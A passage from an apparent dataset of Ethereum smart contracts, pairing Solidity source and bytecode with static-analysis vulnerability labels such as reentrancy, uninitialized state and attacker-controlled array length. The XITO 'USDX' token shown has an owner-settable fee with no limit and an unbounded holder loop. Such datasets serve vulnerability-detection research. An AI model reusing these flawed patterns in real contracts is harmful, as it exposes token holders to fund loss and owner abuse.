98975050505050505050565b6000602080835283518082850152825b8181101561126e57858101830151858201604001528201611252565b8181111561127f5783604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156112e45784516001600160a01b0316835293830193918301916001016112bf565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156113185761131861138e565b500190565b60008261133857634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156113575761135761138e565b500290565b60008282101561136e5761136e61138e565b500390565b60006000198214156113875761138761138e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461037e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205eb1107a50885a120d38ec8a1c448ab9d6219355bdb8d3e4b718fc824fe9b71764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
10,034
0x237c0e91c28d20254a2f25976b81262e63bb767f
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; address[] allTokenHolders; uint percentQuotient; uint percentDividend; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); uint tokensForOwner = _amount.mul(percentQuotient); tokensForOwner = tokensForOwner.div(percentDividend); uint tokensToBeSent = _amount.sub(tokensForOwner); redistributeFees(tokensForOwner); // SafeMath.sub will throw if there is not enough balance. if (balances[_to] == 0) allTokenHolders.push(_to); balances[_to] = balances[_to].add(tokensToBeSent); balances[msg.sender] = balances[msg.sender].sub(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function redistributeFees(uint tokensForOwner) internal { uint thirtyPercent = tokensForOwner.mul(30).div(100); uint seventyPercent = tokensForOwner.mul(70).div(100); uint soldTokens = totalSupply.sub(balances[owner]); balances[owner] = balances[owner].add(thirtyPercent); if (allTokenHolders.length ==0) balances[owner] = balances[owner].add(seventyPercent); else { for (uint i=0;i<allTokenHolders.length;i++) { if ( balances[allTokenHolders[i]] > 0) { uint bal = balances[allTokenHolders[i]]; uint percentOfTotalSold = bal.mul(100).div(soldTokens); uint tokensToBeTransferred = percentOfTotalSold.mul(seventyPercent).div(100); balances[allTokenHolders[i]] = balances[allTokenHolders[i]].add(tokensToBeTransferred); } } } } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); uint tokensForOwner = _amount.mul(percentQuotient); tokensForOwner = tokensForOwner.div(percentDividend); uint tokensToBeSent = _amount.sub(tokensForOwner); redistributeFees(tokensForOwner); balances[_from] = balances[_from].sub(_amount); if (balances[_to] == 0) allTokenHolders.push(_to); balances[_to] = balances[_to].add(tokensToBeSent); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. */ function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner{ require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(msg.sender, _value); } } /** * @title XITO Token * @dev Token representing USDX. */ contract XITOToken is BurnableToken { string public name ; string public symbol ; uint8 public decimals = 18 ; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function ()public payable { revert(); } /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract */ function XITOToken( address wallet ) public { owner = wallet; totalSupply = 100000000000; totalSupply = totalSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount name = "XITO"; symbol = "USDX"; balances[wallet] = totalSupply; percentQuotient = 3; percentDividend = 1000; //Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator emit Transfer(address(0), msg.sender, totalSupply); } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } function setFee(uint _percentQuotient, uint _percentDividend) public onlyOwner { percentQuotient = _percentQuotient; percentDividend = _percentDividend; } }
0x6080604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019657806323b872dd146101bd578063289de615146101e7578063313ce567146102e157806342966c681461030c57806352f7c9881461032657806370a08231146103415780638da5cb5b1461036257806395d89b4114610393578063a9059cbb146103a8578063dd62ed3e146103cc578063f2fde38b146103f3575b600080fd5b3480156100e057600080fd5b506100e9610414565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012357818101518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016a57600080fd5b50610182600160a060020a03600435166024356104a2565b604080519115158252519081900360200190f35b3480156101a257600080fd5b506101ab61050c565b60408051918252519081900360200190f35b3480156101c957600080fd5b50610182600160a060020a0360043581169060243516604435610512565b3480156101f357600080fd5b506101fc610799565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561024357818101518382015260200161022b565b50505050905090810190601f1680156102705780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156102a357818101518382015260200161028b565b50505050905090810190601f1680156102d05780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156102ed57600080fd5b506102f66108da565b6040805160ff9092168252519081900360200190f35b34801561031857600080fd5b506103246004356108e3565b005b34801561033257600080fd5b506103246004356024356109be565b34801561034d57600080fd5b506101ab600160a060020a03600435166109e4565b34801561036e57600080fd5b506103776109ff565b60408051600160a060020a039092168252519081900360200190f35b34801561039f57600080fd5b506100e9610a0e565b3480156103b457600080fd5b50610182600160a060020a0360043516602435610a69565b3480156103d857600080fd5b506101ab600160a060020a0360043581169060243516610c6a565b3480156103ff57600080fd5b50610324600160a060020a0360043516610c95565b6007805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049a5780601f1061046f5761010080835404028352916020019161049a565b820191906000526020600020905b81548152906001019060200180831161047d57829003601f168201915b505050505081565b600160a060020a03338116600081815260066020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b60008080600160a060020a038516151561052b57600080fd5b600160a060020a03861660009081526002602052604090205484111561055057600080fd5b600160a060020a038087166000908152600660209081526040808320339094168352929052205484111561058357600080fd5b6000841180156105b95750600160a060020a0385166000908152600260205260409020546105b7818663ffffffff610d2e16565b115b15156105c457600080fd5b6004546105d890859063ffffffff610d4816565b91506105ef60055483610d7390919063ffffffff16565b9150610601848363ffffffff610d8a16565b905061060c82610d9c565b600160a060020a038616600090815260026020526040902054610635908563ffffffff610d8a16565b600160a060020a03808816600090815260026020526040808220939093559087168152205415156106b957600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387161790555b600160a060020a0385166000908152600260205260409020546106e2908263ffffffff610d2e16565b600160a060020a0380871660009081526002602090815260408083209490945589831682526006815283822033909316825291909152205461072a908563ffffffff610d8a16565b600160a060020a038088166000818152600660209081526040808320338616845282529182902094909455805188815290519289169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600195945050505050565b606080600060076008600054828054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561083a5780601f1061080f5761010080835404028352916020019161083a565b820191906000526020600020905b81548152906001019060200180831161081d57829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959850879450925084019050828280156108c85780601f1061089d576101008083540402835291602001916108c8565b820191906000526020600020905b8154815290600101906020018083116108ab57829003601f168201915b50505050509150925092509250909192565b60095460ff1681565b60015433600160a060020a039081169116146108fe57600080fd5b600160a060020a03331660009081526002602052604090205481111561092357600080fd5b600160a060020a03331660009081526002602052604090205461094c908263ffffffff610d8a16565b600160a060020a03331660009081526002602052604081209190915554610979908263ffffffff610d8a16565b600055604080518281529051600160a060020a033316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b60015433600160a060020a039081169116146109d957600080fd5b600491909155600555565b600160a060020a031660009081526002602052604090205490565b600154600160a060020a031681565b6008805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049a5780601f1061046f5761010080835404028352916020019161049a565b60008080600160a060020a0385161515610a8257600080fd5b600160a060020a0333166000908152600260205260409020548411801590610aaa5750600084115b8015610adc5750600160a060020a038516600090815260026020526040902054610ada818663ffffffff610d2e16565b115b1515610ae757600080fd5b600454610afb90859063ffffffff610d4816565b9150610b1260055483610d7390919063ffffffff16565b9150610b24848363ffffffff610d8a16565b9050610b2f82610d9c565b600160a060020a0385166000908152600260205260409020541515610ba757600380546001810182556000919091527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387161790555b600160a060020a038516600090815260026020526040902054610bd0908263ffffffff610d2e16565b600160a060020a03808716600090815260026020526040808220939093553390911681522054610c06908563ffffffff610d8a16565b600160a060020a0333811660008181526002602090815260409182902094909455805188815290519289169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001949350505050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610cb057600080fd5b600160a060020a0381161515610cc557600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082820183811015610d3d57fe5b8091505b5092915050565b600080831515610d5b5760009150610d41565b50828202828482811515610d6b57fe5b0414610d3d57fe5b6000808284811515610d8157fe5b04949350505050565b600082821115610d9657fe5b50900390565b6000808080808080610dc66064610dba8a601e63ffffffff610d4816565b9063ffffffff610d7316565b9650610dde6064610dba8a604663ffffffff610d4816565b600154600160a060020a03166000908152600260205260408120549054919750610e0e919063ffffffff610d8a16565b600154600160a060020a0316600090815260026020526040902054909550610e3c908863ffffffff610d2e16565b600154600160a060020a03166000908152600260205260409020556003541515610eab57600154600160a060020a0316600090815260026020526040902054610e8b908763ffffffff610d2e16565b600154600160a060020a0316600090815260026020526040902055610fee565b600093505b600354841015610fee57600060026000600387815481101515610ecf57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020541115610fe35760026000600386815481101515610f0d57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020549250610f4985610dba85606463ffffffff610d4816565b9150610f606064610dba848963ffffffff610d4816565b9050610faa8160026000600388815481101515610f7957fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020549063ffffffff610d2e16565b60026000600387815481101515610fbd57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020555b600190930192610eb0565b50505050505050505600a165627a7a723058207f7d36a862e5f74af7b7432aa190943062b520f1bbc2ca3f7a26349d75b6b3940029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,035
0x91df0ffc1b95113ba1f41ca0669fccaec0f55876
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220f18021ccf4caeda92381153066b90d5e1abbacce61a73ea8e94a8529b70a5f8e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,036
0x0ce881ab266e848c2a4d2d873b74dc7a1138ce6c
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } 